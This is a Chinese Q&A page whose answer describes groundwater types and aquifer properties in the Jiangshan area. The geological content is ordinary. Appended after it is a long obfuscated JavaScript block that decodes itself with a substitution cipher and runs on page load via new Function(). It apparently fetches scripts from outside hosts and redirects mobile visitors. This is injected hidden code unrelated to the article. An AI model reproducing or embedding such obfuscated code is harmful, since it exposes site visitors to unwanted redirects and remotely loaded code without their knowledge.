地下水类型及其分布特征

2025-01-24 15:27:29
推荐回答(1个)
回答1:

地下水由于分类的原则和方法不同,而有各种各样的分类。本区按地下水赋存的岩性、构造特点,综合考虑地形地貌、地下水富集程度等多种因素,可把本区地下水分为四大类六个亚类八个含水岩组(图2-4)。

图2-4 江山地区地下水类型及富水性分布图

(1)松散岩类孔隙水。第四系冲积、洪积含水层:该含水层呈狭长带状分布于江山港两岸,地貌类型为第四系堆积河谷平原,其中主要是指河漫滩、古河道部分。岩性上部为黄色粉砂质粘土、粉细砂及中粗砂,下部为松散的砂砾石、砂卵石层,厚度一般为8~14 m,平均为 11 m。含水层以中粗砂及松散砂砾石为主,厚0.7~10.6 m,平均为9.6 m,水位埋深0.6~2.8 m。该含水层水量丰富,大口径机井的可采涌水量为1000~5000 m3/d,一般为3000 m3/d,由大气降水、农田灌溉及洪水期河水倒灌补给,排泄于河流。

第四系冲积、坡积含水层:主要分布于支流两侧,及平坦坳沟(谷)中,岩性上部为含砾石粘土,下部为含粘土砂砾石,厚度0.75~10.7 m,平均4.46 m。含水层为含粘土砂砾石,厚0.1~9 m,平均为3.14 m,水位埋深0.2~6.30 m,平均为1.32 m。据民井资料,其涌水量一般为10~100 m3/d,水量贫乏。由大气降水、农田灌溉补给,以泉的形式排泄于河流。

(2)红层碎屑岩孔隙裂隙水。零星分布于江山港西岸,地貌类型为白垩系紫红色砂岩剥蚀岗地。含水岩组为衢江群(K2 q)紫红色粉砂岩、细砂岩夹含砾砂岩。含水空间为孔隙、风化裂隙等。该含水层富水性分布不均,当裂隙不发育,粒度较细时,水量贫乏,单孔涌水量为10~80m3/d;而裂隙发育,粒度较粗时,富水性为中等,单孔最大涌水量为100~800m3/d。

(3)碳酸盐岩类裂隙岩溶水。碳酸盐岩类岩溶水:分布于王宅岗—石头山—何家山和江山市城区东北部和城南地区。含水岩组为石头山组(C2—P1 s)灰岩。按其埋藏条件,可分为裸露型和隐伏型两种。前者地貌类型为石灰岩溶蚀低丘陵,发育有北东向断裂和花坟头 何家山倒转向斜。沿向斜轴部地表可见溶沟、石牙和溶洞;在遥感图像上,溶蚀漏斗、洼地和溶蚀残丘影像特征清楚,并受断裂构造所控制,据此推断,该区地下可能存在暗河。后者地貌类型为第四系堆积平原,含水岩组隐伏于其下。第四系堆积层厚达 4~7.8 m,局部达30 m。该组灰岩质纯、层厚、性脆,构造裂隙发育,岩溶作用强烈,上覆第四系孔隙潜水与下覆岩溶水水力联系直接,补给充沛,水量丰富,钻孔涌水量一般大于600 m3/d。以大气降水和农田灌溉补给、第四系孔隙潜水的垂向补给和基岩裂隙水的侧向补给为主要补给源,以泉的形式排泄,如花坟头上升泉和老虎山下降溢流泉等。

碳酸盐岩夹碎屑岩类裂隙岩溶水:主要分布于江山岗和西山北段,含水岩组为碓边组1—O1d)灰岩和砚瓦山组(O2y)瘤状灰岩。地貌类型以碳酸盐岩构造 侵蚀高丘陵为主,其次为低丘陵,岩溶发育程度微弱。据浙江省水文队的勘察资料,富水性极不均匀,主要受标高、地质构造、岩性及岩溶发育程度控制。在地形较高,构造、岩溶不发育地段,含水贫乏,钻孔涌水量一般为10~200 m3/d。而在构造破碎带,特别是在北东向断裂破碎带和北西向张扭性断裂交汇地段及其附近,或褶皱构造的轴部,其涌水量一般较大,钻孔单孔涌水量可达100~1000 m3/d。主要以大气降水补给,以泉的形式排泄。

(4)基岩孔隙裂隙水。层状岩类孔隙裂隙水:广泛分布于方家山—大桥头—何家山及其以西地区和西山一带,呈北东向展布。根据岩石的孔隙性、裂隙发育程度和含水性等特点,可进一步划分为以下两类:①细结构层状岩孔隙裂隙水:含水岩组为印渚埠(O1y)黄绿色页岩、杂色页岩、宁国组(O1n)黑色笔石页岩、黄泥岗组(O3h)红色页岩、粉砂质页岩、长坞组(O3c)黄绿色页岩夹粉砂质页岩。地貌类型为砂页岩构造-侵蚀低丘陵。这类岩石孔隙度小、泥质成分高,在构造作用过程中,以塑性变形为主,裂隙发育程度一般较低,即使有裂隙存在,也大多被泥质所充填。因此,含水性和透水性均差,植被不发育,岩石裸露,不利于大气降水的渗入,泉点罕见,含水极为贫乏。②粗结构或硅质层状岩孔隙裂隙水:含水岩组为雷公坞组—志棠组(Z1z—Z1l)块状含砾泥岩、粉砂质泥岩,荷塘组1h)硅质岩,胡乐组(O1-2h)硅质岩,叶家塘组(C1y)砂砾岩、藕塘底组(C2o)石英砂岩、砾岩,丁家山组(P1d)硅质岩。其中雷公坞组—志棠组(Z1z—Z1l)块状含砾泥岩、粉砂质泥岩常位于背斜构造核部,或受断裂构造影响,岩石破碎,普遍强烈硅化,构成硅质岩构造—侵蚀高地。以上岩石都较坚硬,受构造作用后,裂隙比较发育,富水性中等,植被发育,长势较好。主要接受大气降水补给,以泉的形式排泄。

块状岩类孔隙裂隙水:分布于江山港以东地区。地貌类型为岩浆岩剥蚀高、中丘陵。含水岩组为上墅组(Pt3s)熔结火山角砾岩、流纹岩,燕山期正长花岗岩,加里东期石英闪长岩、花岗斑岩、花岗闪长岩。这类岩石坚硬致密,抗风化能力强,风化裂隙一般不发育,以构造裂隙为主,含水贫乏,泉水流量一般为0.06~0.513 L/s。在断裂复合部位的山涧洼地富水性较好,泉点多,且流量较稳定。含水岩组主要接受大气降水的补给,在山坳及地势低洼处以泉的形式排泄。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();